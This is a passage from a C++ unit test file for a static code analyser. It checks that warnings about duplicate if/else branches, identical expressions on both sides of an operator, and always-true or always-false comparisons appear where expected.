[duplicateBranch]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" { frac = front/(front-back);}\\n\"\n \" else\\n\"\n \" frac = front/((front-back));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:3:3]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n // No message about empty branches (#5354)\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" {}\\n\"\n \" else\\n\"\n \" {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch2() {\n checkP(\"#define DOSTUFF1 ;\\n\"\n \"#define DOSTUFF2 ;\\n\"\n \"void f(int x) {\\n\" // #4329\n \" if (x)\\n\"\n \" DOSTUFF1\\n\"\n \" else\\n\"\n \" DOSTUFF2\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch3() {\n check(\"void f(bool b, int i) {\\n\"\n \" int j = i;\\n\"\n \" if (b) {\\n\"\n \" x = i;\\n\"\n \" } else {\\n\"\n \" x = j;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:5:7] -> [test.cpp:3:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\"\n \"[test.cpp:2:9]: (style) The scope of the variable 'j' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b, int i) {\\n\"\n \" int j = i;\\n\"\n \" i++;\\n\"\n \" if (b) {\\n\"\n \" x = i;\\n\"\n \" } else {\\n\"\n \" x = j;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch4() {\n check(\"void* f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" return new A::Y(true);\\n\"\n \" } else {\\n\"\n \" return new A::Z(true);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch5() {\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7] -> [test.cpp:3:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" j = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch6() {\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" int i = 0;\\n\"\n \" } else {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression1() {\n check(\"void foo(int a) {\\n\"\n \" if (a == a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void fun(int b) {\\n\"\n \" return a && a ||\\n\"\n \" b == b &&\\n\"\n \" d > d &&\\n\"\n \" e < e &&\\n\"\n \" f ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\"\n \"[test.cpp:3:15]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\"\n \"[test.cpp:4:15]: (style) Same expression on both sides of '>'. [duplicateExpression]\\n\"\n \"[test.cpp:5:15]: (style) Same expression on both sides of '<'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" return a && a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" a = b && b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int b) {\\n\"\n \" f(a,b == b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int b) {\\n\"\n \" f(b == b, a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 || x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a < b) && (b > a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '&&' because 'aa' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a <= b) && (b >= a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '&&' because 'a<=b' and 'b>=a' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 || y!=3 || x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (style) Same expression 'x!=2' found multiple times in chain of '||' operators. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 && (x=y) && x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b || a && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b || b && c) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b | b && c) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '|'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((a + b) | (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '|'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((a | b) & (a | b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a | b) == (a | b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a1[a2[c & 0xff] & 0xff]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void d(const char f, int o, int v)\\n\"\n \"{\\n\"\n \" if (((f=='R') && (o == 1) && ((v < 2) || (v > 99))) ||\\n\"\n \" ((f=='R') && (o == 2) && ((v < 2) || (v > 99))) ||\\n\"\n \" ((f=='T') && (o == 2) && ((v < 200) || (v > 9999)))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) { return x+x; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { while (x+=x) ; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a || b || b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a / 1000 / 1000) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int i) {\\n\"\n \" return i/i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Same expression on both sides of '/'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a << 1 << 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() { return !!y; }\"); // No FP\n ASSERT_EQUALS(\"\", errout_str());\n\n // make sure there are not \"same expression\" fp when there are different casts\n check(\"void f(long x) { if ((int32_t)x == (int64_t)x) {} }\",\n true, // filename\n false, // inconclusive\n false, // runSimpleChecks\n false, // verbose\n nullptr // settings\n );\n ASSERT_EQUALS(\"\", errout_str());\n\n // make sure there are not \"same expression\" fp when there are different ({}) expressions\n check(\"void f(long x) { if (({ 1+2; }) == ({3+4;})) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5535: Reference named like its type\n check(\"void foo() { UMSConfig& UMSConfig = GetUMSConfiguration(); }\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Variable 'UMSConfig' can be declared as reference to const [constVariableReference]\\n\", errout_str());\n\n // #3868 - false positive (same expression on both sides of |)\n check(\"void f(int x) {\\n\"\n \" a = x ? A | B | C\\n\"\n \" : A | B;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const Bar &bar) {\\n\"\n \" bool a = bar.isSet() && bar->isSet();\\n\"\n \" bool b = bar.isSet() && bar.isSet();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((b + a) | (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '|' because 'b+a' and 'a+b' represent the same value. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(const std::string& a, const std::string& b) {\\n\"\n \" return a.find(b+\\\"&\\\") || a.find(\\\"&\\\"+b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((b > a) | (a > b)) {}\\n\" // > is not commutative\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(double a, double b) {\\n\"\n \" if ((b + a) > (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The comparison 'b+a > a+b' is always false because 'b+a' and 'a+b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x == 1) && (x == 0x00000001))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '&&' because 'x==1' and 'x==0x00000001' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" if (Four == 4) {}\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) The comparison 'Four == 4' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" static_assert(Four == 4, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" _Static_assert(Four == 4, \\\"\\\");\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" static_assert(4 == Four, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { FourInEnumOne = 4 };\\n\"\n \" enum { FourInEnumTwo = 4 };\\n\"\n \" if (FourInEnumOne == FourInEnumTwo) {}\\n\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style) The comparison 'FourInEnumOne == FourInEnumTwo' is always true because 'FourInEnumOne' and 'FourInEnumTwo' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" enum { FourInEnumOne = 4 };\\n\"\n \" enum { FourInEnumTwo = 4 };\\n\"\n \" static_assert(FourInEnumOne == FourInEnumTwo, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if (sizeof(a) == sizeof(a)) { }\\n\"\n \" if (sizeof(a) == sizeof(b)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"float bar(int) __attribute__((pure));\\n\"\n \"char foo(int) __attribute__((pure));\\n\"\n \"int test(int a, int b) {\\n\"\n \" if (bar(a) == bar(a)) { }\\n\"\n \" if (unknown(a) == unknown(a)) { }\\n\"\n \" if (foo(a) == foo(a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression2() { // check if float is NaN or Inf\n check(\"int f(long double ldbl, double dbl, float flt) {\\n\" // ticket #2730\n \" if (ldbl != ldbl) have_nan = 1;\\n\"\n \" if (!(dbl == dbl)) have_nan = 1;\\n\"\n \" if (flt != flt) have_nan = 1;\\n\"\n \" return have_nan;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) { return x-x; }\"); // ticket #4485 (Inf)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) { return (X double)x == (X double)x; }\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { float f; };\\n\"\n \"float f(struct X x) { return x.f == x.f; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int i; };\\n\"\n \"int f(struct X x) { return x.i == x.i; }\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n // #5284 - when type is unknown, assume it's float\n check(\"int f() { return x==x; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression3() {\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" if (x() || x()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" void foo() const;\\n\"\n \" bool bar() const;\\n\"\n \"};\\n\"\n \"void A::foo() const {\\n\"\n \" if (bar() && bar()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" void foo();\\n\"\n \" bool bar();\\n\"\n \" bool bar() const;\\n\"\n \"};\\n\"\n \"void A::foo() {\\n\"\n \" if (bar() && bar()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class B {\\n\"\n \" void bar(int i);\\n\"\n \"};\\n\"\n \"class A {\\n\"\n \" void bar(int i) const;\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" B b;\\n\"\n \" A a;\\n\"\n \" if (b.bar(1) && b.bar(1)) {}\\n\"\n \" if (a.bar(1) && a.bar(1)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:11:18]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"class D { void strcmp(); };\\n\"\n \"void foo() {\\n\"\n \" D d;\\n\"\n \" if (d.strcmp() && d.strcmp()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((mystrcmp(a, b) == 0) || (mystrcmp(a, b) == 0)) {}\\n\"\n \"}\", true, false, true, false, &settings);\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void GetValue() { return rand(); }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void __attribute__((const)) GetValue() { return X; }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:27]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void GetValue() __attribute__((const));\\n\"\n \"void GetValue() { return X; }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:27]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (str == \\\"(\\\" || str == \\\"(\\\") {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (bar(a) && !strcmp(a, b) && bar(a) && !strcmp(a, b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5334\n check(\"void f(C *src) {\\n\"\n \" if (x(src) || x(src))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(A *src) {\\n\"\n \" if (dynamic_cast(src) || dynamic_cast(src)) {}\\n\"\n \"}\\n\", true, false, false); // don't run simplifications\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n // #5819\n check(\"Vector func(Vector vec1) {\\n\"\n \" return fabs(vec1 & vec1 & vec1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"Vector func(int vec1) {\\n\"\n \" return fabs(vec1 & vec1 & vec1);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\"\n \"[test.cpp:2:29]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\", // duplicate\n errout_str());\n\n }\n\n void duplicateExpression4() {\n check(\"void foo() {\\n\"\n \" if (*a++ != b || *a++ != b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (*a-- != b || *a-- != b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment\n check(\"void f() {\\n\"\n \" while (*(a+=2)==*(b+=2) && *(a+=2)==*(b+=2)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression5() { // #3749 - macros with same values\n check(\"void f() {\\n\"\n \" if ($a == $a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define X 1\\n\"\n \"#define Y 1\\n\"\n \"void f() {\\n\"\n \" if (X == X) {}\\n\"\n \" if (X == Y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n checkP(\"#define X 1\\n\"\n \"#define Y X\\n\"\n \"void f() {\\n\"\n \" if (X == Y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression6() { // #4639\n check(\"float IsNan(float value) { return !(value == value); }\\n\"\n \"double IsNan(double value) { return !(value == value); }\\n\"\n \"long double IsNan(long double value) { return !(value == value); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression7() {\n check(\"void f() {\\n\"\n \" const int i = sizeof(int);\\n\"\n \" if ( i != sizeof (int)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25] -> [test.cpp:3:12]: (style) The comparison 'i != sizeof(int)' is always false because 'i' and 'sizeof(int)' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int i = sizeof(int);\\n\"\n \" if ( sizeof (int) != i){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25] -> [test.cpp:3:23]: (style) The comparison 'sizeof(int) != i' is always false because 'sizeof(int)' and 'i' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int a = 1) { if ( a != 1){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = 1;\\n\"\n \" if ( a != b){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:13] -> [test.cpp:4:12]: (style) The comparison 'a != b' is always false because 'a' and 'b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = a;\\n\"\n \" if ( a != b){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:4:12]: (style) The comparison 'a != b' is always false because 'a' and 'b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = 1;\\n\"\n \" use(b);\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:6:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 1;\\n\"\n \" use(a);\\n\"\n \" a = 2;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 2;\\n\"\n \" use(a);\\n\"\n \" a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int a = 1;\\n\"\n \"void f() {\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int a = 1;\\n\"\n \" void f() {\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static const int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){\\n\"\n \" a++;\\n\"\n \" }}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int b) {\\n\"\n \" int a = 1;\\n\"\n \" while (b) {\\n\"\n \" if ( a != 1){}\\n\"\n \" a++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool a, bool b) {\\n\"\n \" const bool c = a;\\n\"\n \" return a && b && c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:19]: (style) Same expression 'a' found multiple times in chain of '&&' operators because 'a' and 'c' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // 6906\n check(\"void f(const bool b) {\\n\"\n \" const bool b1 = !b;\\n\"\n \" if(!b && b1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:10]: (style) Same expression on both sides of '&&' because '!b' and 'b1' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n // 7284\n check(\"void f(void) {\\n\"\n \" if (a || !!a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Same expression on both sides of '||' because 'a' and '!!a' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n // 8205\n check(\"void f(int x) {\\n\"\n \" int Diag = 0;\\n\"\n \" switch (x) {\\n\"\n \" case 12:\\n\"\n \" if (Diag==0) {}\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15] -> [test.cpp:5:16]: (style) The comparison 'Diag == 0' is always true. [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9744\n check(\"void f(const std::vector& ints) {\\n\"\n \" int i = 0;\\n\"\n \" for (int p = 0; i < ints.size(); ++i) {\\n\"\n \" if (p == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:18] -> [test.cpp:4:15]: (style) The comparison 'p == 0' is always true. [knownConditionTrueFalse]\\n\", errout_str());\n\n // #11820\n check(\"unsigned f(unsigned x) {\\n\"\n \" return x - !!x;\\n\"\n \"}\\n\"\n \"unsigned g(unsigned x) {\\n\"\n \" return !!x - x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression8() {\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = a;\\n\"\n \" a = 2;\\n\"\n \" if ( b != a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * a, int i) { int b = a[i]; a[i] = 2; if ( b != a[i]){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * a, int i) { int b = *a; *a = 2; if ( b != *a){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int f() const; };\\n\"\n \"A g();\\n\"\n \"void foo() {\\n\"\n \" for (A x = A();;) {\\n\"\n \" const int a = x.f();\\n\"\n \" x = g();\\n\"\n \" if (x.f() == a) break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i);\\n\"\n \"struct A {\\n\"\n \" enum E { B, C };\\n\"\n \" bool f(E);\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" A a;\\n\"\n \" const bool x = a.f(A::B);\\n\"\n \" const bool y = a.f(A::C);\\n\"\n \" if(!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" const bool x = a.f(A::B);\\n\"\n \" const bool y = a.f(A::C);\\n\"\n \" if (!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool * const b);\\n\"\n \"void foo() {\\n\"\n \" bool x = true;\\n\"\n \" bool y = true;\\n\"\n \" f(&x);\\n\"\n \" if (!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int a = {};\\n\"\n \" if(a == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"volatile const int var = 42;\\n\"\n \"void f() { if(var == 42) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" struct b c;\\n\"\n \" c.a = &a;\\n\"\n \" g(&c);\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression9() {\n // #9320\n 